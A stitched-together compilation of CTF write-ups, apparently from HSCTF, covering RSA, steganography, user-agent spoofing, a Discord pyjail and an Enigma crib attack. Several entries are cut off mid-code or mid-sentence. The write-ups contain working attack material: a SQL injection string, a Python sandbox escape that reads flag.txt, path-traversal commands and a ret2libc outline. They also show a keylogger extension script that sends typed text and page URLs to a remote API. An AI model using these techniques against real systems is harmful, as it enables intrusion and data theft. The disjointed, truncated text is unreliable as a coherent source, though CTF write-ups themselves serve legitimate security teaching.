libnum.n2s(pow(c,d,n))'hsctf{square_number_time}'``` |
This writeup is about our uninteded solution of a very cool Web challenge by Hugo DELVAL. The intended solution was about triggering an XSS and bypass the CSP via a JSONP endpoint on www.google.com. Our solution abused the `data:[<mediatype>][;base64],<data>` URIs to get JavaScript execution. |
# Logo Sucks Bad
```This logo sucks bad.```
(File(s): attachments/logo.png)
Logo Sucks Bad = LSB. LSB = Least Significant Bit. Least Significant Bit steganography is a form of steganography in which the least significant bits in an image embed a hidden message bit by bit. We can use any regular LSB steganography tool to uncover the message. If you don't have one, there are some online tools available such as [this one](https://stylesuxx.github.io/steganography/).
Upon decoding, we're left with the following message.
```Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis non velit rutrum, porttitor est a, porttitor nisi. Aliquam placerat nibh ut diam faucibus, ut auctor felis sodales. Suspendisse egestas tempus libero, efficitur finibus orci congue sit amet. Sed accumsan mi sit amet porttitor pellentesque. Morbi et porta lacus. Nulla ligula justo, pulvinar imperdiet porta quis, accumsan et massa. In viverra varius eleifend. Ut congue feugiat leo a ultrices.
Ut risus ipsum, dictum id euismod nec, mattis eu dolor. In aliquam viverra congue. Mauris lacinia lectus quis erat porttitor, vitae iaculis mauris ultrices. Donec quis imperdiet mi, et fermentum purus. Mauris rhoncus sit amet ex quis gravida. In tempor, libero vel finibus tristique, velit est vestibulum est, non semper leo mauris vel enim. Nulla non orci pharetra, bibendum quam a, pharetra felis. Morbi tincidunt, mauris nec aliquam maximus, eros justo rutrum odio, in dapibus sem arcu blandit nunc. Mauris dapibus sem lorem, quis lacinia nunc consectetur pulvinar. Donec sapien erat, pulvinar non fermentum tempor, auctor pellentesque tortor.
Suspendisse id vehicula enim. Cras ut enim sollicitudin, aliquam mauris eget, vehicula arcu. Morbi convallis sed nulla et pellentesque. Cras risus justo, fermentum eget ex ac, dictum dignissim magna. Nullam nec velit vel nulla varius gravida. Aliquam ac lorem tempor, venenatis nibh sed, ultricies urna. In fringilla hendrerit purus, tristique aliquam ipsum molestie vitae. Sed efficitur auctor lacus ac luctus.
Donec id viverra augue. Vivamus nullhsctf{th4_l3est_s3gnific3nt_bbbbbbbbbbbbb}a neque, iaculis quis urna eget, gravida commodo quam. Vestibulum porttitor justo in suscipit rutrum. Sed id tristique ipsum. Nulla vel porta nisl. Quisque leo quam, placerat id neque eu, ullamcorper facilisis lacus. Maecenas magna eros, sollicitudin id est a, fermentum elementum leo. Vestibulum porttitor urna eget bibendum interdum. Mauris eget consequat est. Aenean hendrerit eleifend finibus. Sed eu luctus nulla, non tristique nunc. Cras aliquet vehicula tincidunt. Maecenas nec semper ipsum.
Proin pulvinar lacus id malesuada bibendum. Mauris ac sapien eros. Sed non neque id ante porta finibus eget eget enim. Pellentesque placerat, neque sit amet dictum eleifend, tortor dolor porttitor ex, in vestibulum lacus tortor id purus. Phasellus varius nulla sed magna finibus aliquet. Proin eros metus, sodales vel enim eu, imperdiet pulvinar erat. Nunc quis iaculis dui. In cursus a urna in dapibus. Sed eu elementum quam. Vivamus ornare convallis leo sed mollis. Aenean sit amet nulla vel leo cursus dictum ac nec sem. Morbi nec ultrices felis.```
The flag is in the text.
```hsctf{th4_l3est_s3gnific3nt_bbbbbbbbbbbbb}``` |
# Reverse Search Algorithm (Crypto 136 points)

The name Reverse Search Algorithm is just another way of saying RSA cryptosystem.
For more information about RSA, refer [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem).
We are given the public key, public exponent and the encrypted message.
```n = 561985565696052620466091856149686893774419565625295691069663316673425409620917583731032457879432617979438142137e = 65537c = 328055279212128616898203809983039708787490384650725890748576927208883055381430000756624369636820903704775835777```Since for decrypting RSA we need to factorize the public key, lets try factorizing it using factordb.

It gives us the factors of the public key. We can decrypt the encrypted message using these factors.
```vagrant@ubuntu-xenial:~$ pythonPython 2.7.12 (default, Nov 12 2018, 14:36:49)[GCC 5.4.0 20160609] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> import gmpy>>> import libnum>>> n = 561985565696052620466091856149686893774419565625295691069663316673425409620917583731032457879432617979438142137>>> e = 65537>>> c = 328055279212128616898203809983039708787490384650725890748576927208883055381430000756624369636820903704775835777>>> p = 29>>> q = 19378812610208711050554891591368513578428260883630885898953907471497427917962675301070084754463193723428901453>>> assert n == p * q>>> phi = (p-1)*(q-1)>>> d = int(gmpy.invert(e,phi))>>> libnum.n2s(pow(c,d,n))'hsctf{y3s_rsa_1s_s0lved_10823704961253}'>>>``` |
# Eat Sleep Smash Repeat
I'm the author of this challenge. This is my thoughts on how to solve the challenge.

A captcha and a submit field.
Let's submit the captcha: `6\0wg`.

Maybe it was a `v` instead of `w`. After each fail the challenger understands something is wrong. If you notice clearly there is a nullbyte in the string...
What this challenge simulates is a shitty C library ported to PHP.
Submitting just the first number we move on to the next level:

After reaching level 5 we are presented with this screen:

Clicking flag retrieval we get a screen saying we should practice more.. What?

Obviously something is up.
Let's try again, solving the first 5 levels but this time we click flag retrieval faster.

Notice how the title of the page changed from "Rookie" to "Worthy challenger".
What's new is the time limit...
Time to fire up Python and automate this.

```pythonimport requestsimport threadfrom PIL import Imagefrom io import BytesIOimport hashlibimport timeimport psutil
s = requests.Session()
s.get("http://localhost:55352/")
mapping = []mapping.append({ 'cd1992f946b28a968f4f814468607536': '1', '8fd08858070091aaacd6afc9c6df909f': '2', '66ee914964c0211046fd48ed245d40ba': '3', '6fe7a1bd69cde572ce1d1b9f04f78677': '4', '572a28f5bcb1f269d85e2934fce189df': '5', 'd0c5dc424d4aecd08975c538e19a2fc2': '6', '06aafe9d840414ad573dd78680d1b041': '7', '43d88075ac9b4e16e074be315e501187': '8', '82aafc241c1f1be0ae61e3cfb46e209e': '9',})
def get_captcha(): captcha = s.get("http://localhost:55352/captcha.php") return Image.open(BytesIO(captcha.content))def send_guess(guess): data = { 'code': guess } r = s.post("http://localhost:55352/", data=data) return r.text
def get_md5img(im): tilei = im.crop((0,0,10,30)) hash_img = hashlib.md5(tilei.tobytes()).hexdigest() return hash_img
for i in range(150): im = get_captcha() hsum = get_md5img(im) if hsum in mapping[0]: guessed_number = mapping[0][hsum] else: im.show() break
print "Extracted hash: " + hsum print "Guessing number: " + str(guessed_number) print send_guess(guessed_number)
time.sleep(9)
# hide imagefor proc in psutil.process_iter(): if proc.name() == "display": proc.kill()``` |
# Cool Image
```My friend told me he found a really cool image, but I couldn't open it. Can you help me access the image?```
We're given a PDF, but we're told that it's an image. Additionally, if we check the magic number, we can see that it's a png.
```$ xxd cool.pdf | head -n 100000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR```
We can go ahead and just view it by changing the extension.
```$ cp cool.pdf cool.png```
 |
# Chicken Crossing
```Keith is watching chickens cross a road in his grandfather’s farm. He once heard from his grandfather that there was something significant about this behavior, but he can’t figure out why. Help Keith discover what the chickens are doing from this seemingly simple behavior.```
(File(s): attachments/hsctf-chicken_crossing.jpg)
We're given a jpg file. Let's run `strings` on it and `grep` for the flag to see if it's in there somewhere.
```$ strings hsctf-chicken_crossing.jpg | grep "hsctf"hsctf{2_get_2_the_other_side}``` |
# Discord
```Join our Discord server to stay up-to-date on everything!```
This is a pretty straightforward one. Join the CTF Discord channel and the flag is given to you.
```hsctf{hi_welcome_to_discord}``` |
# Networked Password (Web 319 points)

This challenge can be solved using a time based attack. If you observe, when a correct character of the flag is submitted as a password, the response time increases. We can use this to brute force for the flag.
Source: [crack.py](crack.py)
Flag:
 |
# Tux's Kitchen (Crypto 411 points)

## Source Code
This is the main part which generates the ciphertext```key = bake_it()print(final_baking(flag,key))```
Bake It - Generates a random number```def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)```
Final Baking```def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure```
Random Mess```def rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess```
Prepare```def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food```
If we closely look at the final_baking function, we can see that before calling prepare(treasure) method, the treasure list is made by appending ord(food[i])\*baked[i] for each i. That means, at that point of time, irrespective of the value of baked[i], each element in the treasure list would be divisible by the corresponding value of the character at the same index in the flag string.
All we need to do to achieve that state is to reverse the prepare(food) function. This is done in the [crack.py](crack.py) script.
The first 4 lists defined in the script are 4 results which were retrieved by connecting to the given remote server. Multiple datasets are required here because each number in the list can have multiple characters whose ascii indexes divide them perfectly.
From the output printed by the script, a little bit of guessing work is involved to get the actual flag.
Output of the script is```Possible characters for 0: ['h', '4']Possible characters for 1: ['s']Possible characters for 2: ['c']Possible characters for 3: ['t']Possible characters for 4: ['3', 'D', 'f']Possible characters for 5: ['{']Possible characters for 6: ['t']Possible characters for 7: ['h', '4']Possible characters for 8: ['i']Possible characters for 9: ['i']Possible characters for 10: ['i']Possible characters for 11: ['1']Possible characters for 12: ['1', 'b']Possible characters for 13: ['1']Possible characters for 14: ['i']Possible characters for 15: ['i']Possible characters for 16: ['i', 'F']Possible characters for 17: ['s']Possible characters for 18: ['s']Possible characters for 19: ['_']Possible characters for 20: ['i', 'F']Possible characters for 21: ['s']Possible characters for 22: ['s']Possible characters for 23: ['s']Possible characters for 24: ['s']Possible characters for 25: ['s']Possible characters for 26: ['_']Possible characters for 27: ['y']Possible characters for 28: ['o']Possible characters for 29: ['0']Possible characters for 30: ['u']Possible characters for 31: ['9', 'r']Possible characters for 32: ['_']Possible characters for 33: ['1', 'b']Possible characters for 34: ['1', 'b']Possible characters for 35: ['9', 'r']Possible characters for 36: ['t']Possible characters for 37: ['h', '4']Possible characters for 38: ['2', 'd']Possible characters for 39: ['4']Possible characters for 40: ['y']Possible characters for 41: ['_']Possible characters for 42: ['s']Possible characters for 43: ['0']Possible characters for 44: ['7', 'n']Possible characters for 45: ['g']Possible characters for 46: ['_']Possible characters for 47: ['i']Possible characters for 48: ['t']Possible characters for 49: ['_']Possible characters for 50: ['i']Possible characters for 51: ['s']Possible characters for 52: ['7', 'n']Possible characters for 53: ['t']Possible characters for 54: ['_']Possible characters for 55: ['v']Possible characters for 56: ['e']Possible characters for 57: ['9', 'r']Possible characters for 58: ['y']Possible characters for 59: ['_']Possible characters for 60: ['l', '6']Possible characters for 61: ['o']Possible characters for 62: ['7', 'n']Possible characters for 63: ['g']Possible characters for 64: ['_']Possible characters for 65: ['6']Possible characters for 66: ['6']Possible characters for 67: ['2']Possible characters for 68: ['1']Possible characters for 69: ['}']Possible characters for 70: []```
From this, we can deduce the flag as```hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}``` |
# The Real Reversal
```My friend gave me some fancy text, but it was reversed, and so I tried to reverse it but I think I messed it up further. Can you find out what the text says?```
(File(s): attachments/reversed.txt)
The file that we're given is completely reversed at a binary level. We need to reverse it again to get the original. We can do this using perl from the command line.
```$ < reversed.txt perl -0777 -F -ape '$_=reverse@F'
.??????? ??? ?? ???? ?????? ???????? ??????? ??? ????? ?? ???? ,???????? ??? ????????? ???????? ???? ????????? .???????? ????? ?????? ?? ?????? ?????? ???? ????? ????????? ?? ????????????? ?? ????? ????? ???? ???? .????????? ??????? ?? ?? ??????? ?? ???? ??????? ??????? ???????????? ??????? ???? ,?????? ????? ?? ???? ?? .?????? ????? ?????? ?? ?????? ?? ?????????? ?????? ??????? ?? ??? ,???? ?????????? ??????????? ,???? ??? ????? ????? ????? .??????? ??? ?? ???? ?????? ???????? ??????? ??? ????? ?? ???? ,???????? ??? ????????? ???????? ???? ????????? .???????? ????? ?????? ?? ?????? ?????? ???? ????? ????????? ?? ????????????? ?? ????? ????? ???? ???? .????????? ??????? ?? ?? ??????? ?? ???? ??????? ??????? ???????????? ??????? ???? ,?????? ????? ?? ???? ?? .?????? ????? ?????? ?? ?????? ?? ?????????? ?????? ??????? ?? ??? ,???? ?????????? ??????????? ,???? ??? ????? ????? ????? .??????? ????? ??????? ????? ,}???_???_???_????{????? ?? ???? ??? .??????? ??? ?? ???? ?????? ???????? ??????? ??? ????? ?? ???? ,???????? ??? ????????? ???????? ???? ????????? .???????? ????? ?????? ?? ?????? ?????? ???? ????? ????????? ?? ????????????? ?? ????? ????? ???? ???? .????????? ??????? ?? ?? ??????? ?? ???? ??????? ??????? ???????????? ??????? ???? ,?????? ????? ?? ???? ?? .?????? ????? ?????? ?? ?????? ?? ?????????? ?????? ??????? ?? ??? ,???? ?????????? ??????????? ,???? ??? ????? ????? ????? .???? ?? ???????? ?? ???? .????????? ?? ???? ?? ?? ??? .???? ?? ???? ???```
In there, we find the reversed flag:
```}niw_eht_rof_8ftu{ftcsh```
All we need to do now is reverse it for the actual flag.
```$ python -c "print('}niw_eht_rof_8ftu{ftcsh'[::-1])"hsctf{utf8_for_the_win}``` |
# Agent Keith
```Keith was looking at some old browsers and made a site to hold his flag.
https://agent-keith.web.chal.hsctf.com```
When we visit the site, we're immediately told our user-agent along with an access denied message.

Looks like a user-agent spoofing challenge. Let's go ahead and look at the source code for hints as to what our user-agent should be.
```html
<html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover"> <title>agent-keith</title> <link rel="stylesheet" href="http://localhost:8002/static/style.css"> </head> <body> <main> <h2>If you're not Keith, you won't get the flag!</h2> Your agent is: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36 Flag: Access Denied </main> </body></html>```
Your agent is: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Flag: Access Denied
Looks like the user-agent that we need is
```NCSA_Mosaic/2.0 (Windows 3.1)```
Let's go ahead and make a request to the web page using Python in order to spoof our user-agent.
```$ pythonPython 3.7.3 (default, Mar 26 2019, 21:43:19) [GCC 8.2.1 20181127] on linuxType "help", "copyright", "credits" or "license" for more information.>>> import requests>>> requests.get("https://agent-keith.web.chal.hsctf.com/", headers={"User-Agent": "NCSA_Mosaic/2.0 (Windows 3.1)"}).contentb'\n<html lang="en">\n <head>\n <meta charset="utf-8">\n <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">\n <title>agent-keith</title>\n <link rel="stylesheet" href="http://localhost:8002/static/style.css">\n </head>\n <body>\n <main>\n <h2>If you\'re not Keith, you won\'t get the flag!</h2>\n Your agent is: NCSA_Mosaic/2.0 (Windows 3.1)\n Flag: hsctf{wow_you_are_agent_keith_now}\n \n </main>\n </body>\n</html>'```
Your agent is: NCSA_Mosaic/2.0 (Windows 3.1)
Flag: hsctf{wow_you_are_agent_keith_now}
The flag is in the body.
```hsctf{wow_you_are_agent_keith_now}``` |
```$ cat clue.txtSentience is an abstract concept...```
Notice that task theme is the Short Circuit movie.
Look for open ports
```$ netstat -aepWActive UNIX domain sockets (servers and established)Proto RefCnt Flags Type State I-Node PID/Program name Pathunix 2 [ ACC ] STREAM LISTENING 30920 - @?```
The one listening is a unix socket in the abstract namespace (not bound to file system).
Scripting is available with `python`. And you can find a writable folder, if you need one.`wget` is available to download scripts.
Connect to the socket, the address is `\x00?`:
```_______ _____| ___ \ / ___ \| | | |/\| | | | | | | | | / \| | | | | | |\ \/ / /\ \| | | | |___| | \ / |__| ||_| |_|\_____/ \/|______| | | _ _ | | _ (_) ____ ___ | | _ ___ | |_ _ ____ ___ / ___) _ \| || \ / _ \| _)| |/ ___)/___)| | | |_| | |_) ) |_| | |__| ( (___|___ ||_| \___/|____/ \___/ \___)_|\____|___/ Tomorrow is Here.
Welcome to the Nova Robotics Satellite debug interface
> help=-=>>>> Connected to Robot[5]["Nickname"]: J0hnny F1veCurrent functions: list, test, command. Use "help <cmd>" for more information.
> listFunction list is: help, list, test, command
> help commandIssue a command
> commandError: missing argument. Supported commands are: access_code, self_destruct
> command self_destruct:( .... I am ALIVE!
> command access_codemust supply unlock code
> command access_code 1337ACCESS DENIED but a hint: you may need to watch a movie, youtube or otherwise obtain words.```
Remember the theme? The access code used in the movie:
```> command access_code 42721Access gained. Number FIVE
> helpCurrent commands: list, test, command, execute, self_destruct, show, download, upload. Use "help <cmd>" for more information.```
```> help showList a directory or the default folder
> shownovarobotics.j5v1.1.binnovarobotics.j5v1.0.bin
> help uploadUpload listing and upload firmware update to the target directory
> upload novarobotics.j5v1.0.binUpload error: Malfunction```
`show` and `upload` are vulnerable to path traversal:
```> show ../..//bin/boot/dev/etc/homemalfunctionmalfunCTION/novamaLfucti0nEND firmware list: Malfunction detected
> upload ../../nova/Upload Fatal: Gibson server returned: error! ../../nova/tmp/ is not empty
> upload ../../nova/tmp/Upload Fatal: Gibson server returned:.garbage/
> upload ../../nova/tmp/.garbage/MalfUncTiONnovarobotics.j5_jailbroken.bin```
We have found some firmware. Upload it into robot:
```> help downloadDownload and stage a firmware update
> download ../../nova/tmp/.garbage/novarobotics.j5_jailbroken.binDownload succeeded. Response is: update_staged.
> shownovarobotics.j5_jailbroken.bin
> help executeSupply a firmware update related command
> execute update----------------Performing Firmware UpdaMalFucTiOnM4lfuct1onmalfunctionMalfunction detectedUpdate error code: -2319return string from robot:fb{flag}``` |
You can just use the ret to plt to leak the puts libc address and then ret to main to rerun the program, and then you can calculate the system address based on the leaked puts libc address to get the libc base and then add the system offset to get the system address and then jump to system to get the shell.
working exploit is linked below. |
# Broken GPS```Written by: Disha and Shray
Ella is following a broken GPS. The GPS tells her to move in the opposite direction than the one she should be travelling in to get to her destination, and she follows her GPS exactly. For instance, every time she is supposed to move west, the GPS tells her to move east and she does so. Eventually she ends up in a totally different place than her intended location. What is the shortest distance between these two points? Assume that she moves one unit every time a direction is specified. For instance, if the GPS tells her to move "north," she moves one unit north. If the GPS tells her to move "northwest," then she moves one unit north and one unit west.
Input Format:You will receive a text file with N directions provided to her by the GPS (the ones that she will be following) (1<=N<=1000). The first line in the file will be N, and each consequent line will contain a single direction: “north,” “south,” “east,” “west,” “northwest,” “northeast,” “southwest,” or “southeast.”
Output Format:Round your answer to the nearest whole number and then divide by 26. Discard the quotient (mod 26). Each possible remainder corresponds to a letter in the alphabet. (0=a, 1=b… 25=z).
Find the letter for each test case and string them together. The result is the flag. (For instance, a, b, c becomes “abc”). Remember to use the flag format and keep all letters lowercase!```[input.zip](input.zip)
After reading these **bunch of text**, it will give us input (direction)
We can convert them into `x` and `y` coordinates```If is north, y + 1south, y - 1east x + 1west x - 1northeast y + 1, x + 1southwest y - 1, x - 1etc...```Then calculate the distance, calculate the letter:```distance = sqrt((2x)^2 + (2y)^2) (2x and 2y because both x and y are same)flag = distance % 26```[Full python script](solve.py)
**Result:** `garminesuckz`
# Flag> hsctf{garminesuckz} |
you can just bruteforce one char at a time to get the flag.
public class Exploit{
public static void main(String args[]) { flag(); }
public static void flag() { String flag = ""; char[] heck = "001002939948347799120432047441372907443274204020958757273".toCharArray(); String[] quack = {"\uffc8","\uffbd","\uffce","\uffbc","\uffca","\uffb7","\uffc5","\uffcb","\u0005","\uffc5","\uffd5","\uffc1","\uffff","\uffc1","\uffd8","\uffd1","\uffc4","\uffcb","\u0010","\uffd3","\uffc4","\u0001","\uffbf","\uffbf","\uffd1","\uffc0","\uffc5","\uffbb","\uffd5","\uffbe","\u0003","\uffca","\uffff","\uffda","\uffc3","\u0007","\uffc2","\u0001","\uffd4","\uffc0","\u0004","\uffbe","\uffff","\uffbe","\uffc1","\ufffd","\uffb5"}; for(int i=0;i |
# S-Q-L
```Keith keeps trying to keep his flag safe. This time, he used a database and some PHP.
https://s-q-l.web.chal.hsctf.com/```

This is a simple SQL injection challenge. The username is admin. The injection string is:
```' or '1'='1```
In essence, what an SQL injection does is it "breaks" a comparison, injects the boolean OR operator, and then creates a scenario which will always evaluate to true, in essence making the entire comparison evaluate to true.
 |
# Keith Logger
```Keith is up to some evil stuff! Can you figure out what he's doing and find the flag?
Note: nothing is actually saved```
(File(s): attachments/extension.crx)
We're given a Chrome extension. Something to note about `.crx` files is that, similar to `.apk` files, they're really just zips. As such, we can just unzip them.
```$ unzip extension.crxArchive: extension.crxwarning [extension.crx]: 593 extra bytes at beginning or within zipfile (attempting to process anyway) inflating: jquery-3.3.1.min.js inflating: manifest.json inflating: content.js```
Let's have a look at the `content.js`.
```javascriptvar timeout_textarea;var xhr_textarea;
$("textarea").on("keyup", function() { if (timeout_textarea) { clearTimeout(timeout_textarea); }
if (xhr_textarea) { xhr_textarea.abort(); }
timeout_textarea = setTimeout(function() { var xhr = new XMLHttpRequest(); /* xhr.open( "GET", "https://keith-logger.web.chal.hsctf.com/api/record?text=" + encodeURIComponent($("textarea").val()) + "&url=" + encodeURIComponent(window.location.href), true );*/
// send a request to admin whenever something is logged, not needed anymore after testing /* xhr.open( "GET", "https://keith-logger.web.chal.hsctf.com/api/admin", true );*/
xhr.send(); }, 2000);});```
Looks like we found the API page: https://keith-logger.web.chal.hsctf.com/api/admin
Let's give it a visit.

Looks like we found the MongoDB server. Let's go ahead and connect to it to get the flag.
```$ mongo keith-logger-mongodb.web.chal.hsctf.com:27017 -u admin -p keithkeithkeith --authenticationDatabase "admin"MongoDB shell version v4.0.10connecting to: mongodb://keith-logger-mongodb.web.chal.hsctf.com:27017/test?authSource=admin&gssapiServiceName=mongodbImplicit session: session { "id" : UUID("05235c05-5480-45f1-a5af-b540d8335c38") }MongoDB server version: 4.0.10> use databaseswitched to db database> show collectionscollection> db.collection.find(){ "_id" : ObjectId("5cf0512d464d9fe1d9915fbd"), "text" : "are kitties cool", "url" : "https://keith-logger.web.chal.hsctf.com/", "time" : "21:54:53.925045" }{ "_id" : ObjectId("5cf051a95501f2901a915fbd"), "text" : "because i think they are", "url" : "https://keith-logger.web.chal.hsctf.com/", "time" : "21:56:57.974856" }{ "_id" : ObjectId("5cf051b3464d9fe1d9915fbe"), "text" : "meow! :3", "url" : "https://keith-logger.web.chal.hsctf.com/", "time" : "21:57:07.295378" }{ "_id" : ObjectId("5cf0520b464d9fe1d9915fbf"), "text" : "meow! :3", "url" : "https://keith-logger.web.chal.hsctf.com/", "time" : "21:58:35.030635" }{ "_id" : ObjectId("5cf05212464d9fe1d9915fc0"), "text" : "if you're looking for the flag", "url" : "https://keith-logger.web.chal.hsctf.com/", "time" : "21:58:42.170470" }{ "_id" : ObjectId("5cf0521b5501f2901a915fbe"), "text" : "it's hsctf{watch_out_for_keyloggers}", "url" : "https://keith-logger.web.chal.hsctf.com/", "time" : "21:58:51.359556" }```
Found the flag.
```hsctf{watch_out_for_keyloggers}``` |
# Keith Bot
>Keith made a Discord bot so he could run commands on the go, but there were some bugs
>DM Keith Bot#3149 (found in the Discord server)
>Note: The flag is in flag.txt
## Problem
This was a nice twist on the classic pyjail problem, taken a bit to the extreme. We got 2 files along with the challenge, ```bot.py``` and ```eval.py```. Essentially, looking at ```bot.py``` we see this interesting line:
```pythonbot = commands.Bot(command_prefix=commands.when_mentioned_or("_"))```This means the bot will react when we prefix whatever we say to him with either ```_``` or we ```@``` him. Furthermore we see this:
```pythonasync def on_message(message): if message.author == bot.user: ## (1) return
if message.guild is None: await bot.process_commands(message) elif bot.user in message.mentions: await message.channel.send(f"{message.author.mention} DM me") ##(2) ``` Basically, the bot will never answer to itself (1) and it will always respond "DM me" if you try to ```@``` him outside of DM mode (2). It will only respond in DMs and will then process the command it is passed. Commands are defined using ```@bot.command(name="cmdnamehere")``` and in our case there is only one: ```python @bot.command(name="eval")async def _eval(ctx, *, body): if body.startswith("```") and body.endswith("```"): body = "\n".join(body.split("\n")[1:-1]) else: body = body.strip("` \n")
process = await asyncio.create_subprocess_exec("env", "-i", "python3", "eval.py", stdin=asyncio.subprocess.PIPE, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
try: out, err = await asyncio.wait_for(process.communicate(body.encode()), 5) except asyncio.TimeoutError: await process.kill() else: if out or err: await ctx.send(f"```py\n{out.decode()}{err.decode()}\n```")
```The interesting line is this one:
```pythonprocess = await asyncio.create_subprocess_exec("env", "-i", "python3", "eval.py", stdin=asyncio.subprocess.PIPE, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)```
This means that the bot will pass whatever you write after ```eval``` as an argument to ```eval.py``` and pipe out the result. Time to take a look at eval then.
## Eval file
Three lines are relevant for us:
```pythonenv = {"__builtins__": {}}exec(f"def func():\n{textwrap.indent(sys.stdin.read(), ' ')}", env)ret = env["func"]()```The first one defines a new environment where all builtins are removed. This means no f=more commands like ```open```, ```print```, ```file``` etc. The second one takes ```stdin``` (whatever Keithbot passed as an argument in this case), wraps it in a function and compiles it in the context of our naked ```env``` environment. The third lines then exectutes the function and stores whatever was returned.
Example: assume we send ```_eval return 1```. The created function is:
```pythondef func(): return 1```And in fact we get ```1``` back.
So this is basically a python jail, we have no access to builtins, need to write a function body that returns a value and that value will have to be the flag.
## Solving
It took me a little while but being no stranger to pyjails and to flask injections alike, I figured it out. Basically we can access a bunch of classes by using python's OOO structure. For instance doing this:
```python''.__class__.__mro__[1].__subclasses__()```will return a bunch of available subclasses. The trick is to try and find a way to use one of those to access our flag. Sometimes, we'll find the ```file``` class in there but in this case there was none. Another exploit is to go through the ```warnings``` modules but that wasn't in the list (a nice overview of the methods is [here](https://zolmeister.com/2013/05/escaping-python-sandbox.html)).
I spent some time going through the modules and tried a bunch of different things until I found this one (index 80 of ```subclasses```:
```python<class '_frozen_importlib.BuiltinImporter'>```
Did someone say Jackpot? Basically after reading up on it, using this class we can use the ```load_module``` method to reimport our original bultins and have access to all the normal functions we would in our normal IDE. At this point it becomes trivial:
```python_eval return [].__class__.__mro__[1].__subclasses__()[80].load_module('builtins').open('flag.txt').read()```This correctly returns our flag.
|
# Bomb
>Keith found a weird message on his desk along with a drawing:```JGYJZ NOXZX QZRUQ KNTDN UJWIA ISVIN PFKIR VWKWC UXEBH RFHDI NMOGQ BPRHW CXGAC ARBUN IHOWH QDDGL BBZYH HEJMV RBLJH CLHYP FSAAA KNRPX IKSNX QASGI XBMNP FLAFA KFEGV YWYUN JGBHH QDLZP UJWMO CCEUL YFIHR GTCOZ GEQML VFUAV URXUU BBGCI YZJQQ ROQFU SJDVR JILAJ XYCBC IGATK LQMAP UDPCG ONWFV MHBEC CLBLP JHZJN HMDNY YATIL FQSND AOCAM MGVRZ FEVKL CEDMG AIWXG QPCBI VTVZU HQGFD ZJICI EIWLP IFKAB LNVZI XRZTR SLGCA SZPFF HGBUK JAXNN JHUSV UFPIM ZZLAW SYOHB TOLRF KWANX FNEFD XXLNR LLGYS VTGXP NJQMC WAKRP JKWDP WVTNP WRYEJ RSODI QDYOQ DJDBI SLAVB UPDDR ATHYG ANJQR XPGFM FAMJR ZSJHC SYWQQ VBIHX XCQFW XZBUH ZRXWV TPESM EGVVY PBJSS``````Reflector: BRotors: 3,2,4Crib: the secret to life is```
## Problem
This is a straightforward Enigma problem. Enigma was the machine used by the Germans in WWII to communicated using encrypted messages. It is essentially a fancy polyalphabetic cipher with some extra twists but unfortunately susceptible to known plaintext attacks. The title of the challenge ```Bomb``` refers to one of the first decryption computers. Legend has it that the name either comes from a Polish ice cream dish or from the fact that everyone would get ice creeam once a message was successfully decrypted.
## Solving
The basic idea is that one of the weakness of the machine is that it won't encrypt any letter to itself. GCHQ has a great step-by-step guide [here](https://github.com/gchq/CyberChef/wiki/Enigma,-the-Bombe,-and-Typex). My suggestion is to use this to understand the process and get familiar with the process. But I'll describe it high level here.
### Step 1: Using our crib
We know the first letters of the plaintext. We can use the GCHQ bombe emulator to find an approximate initial state and switchboard config. See 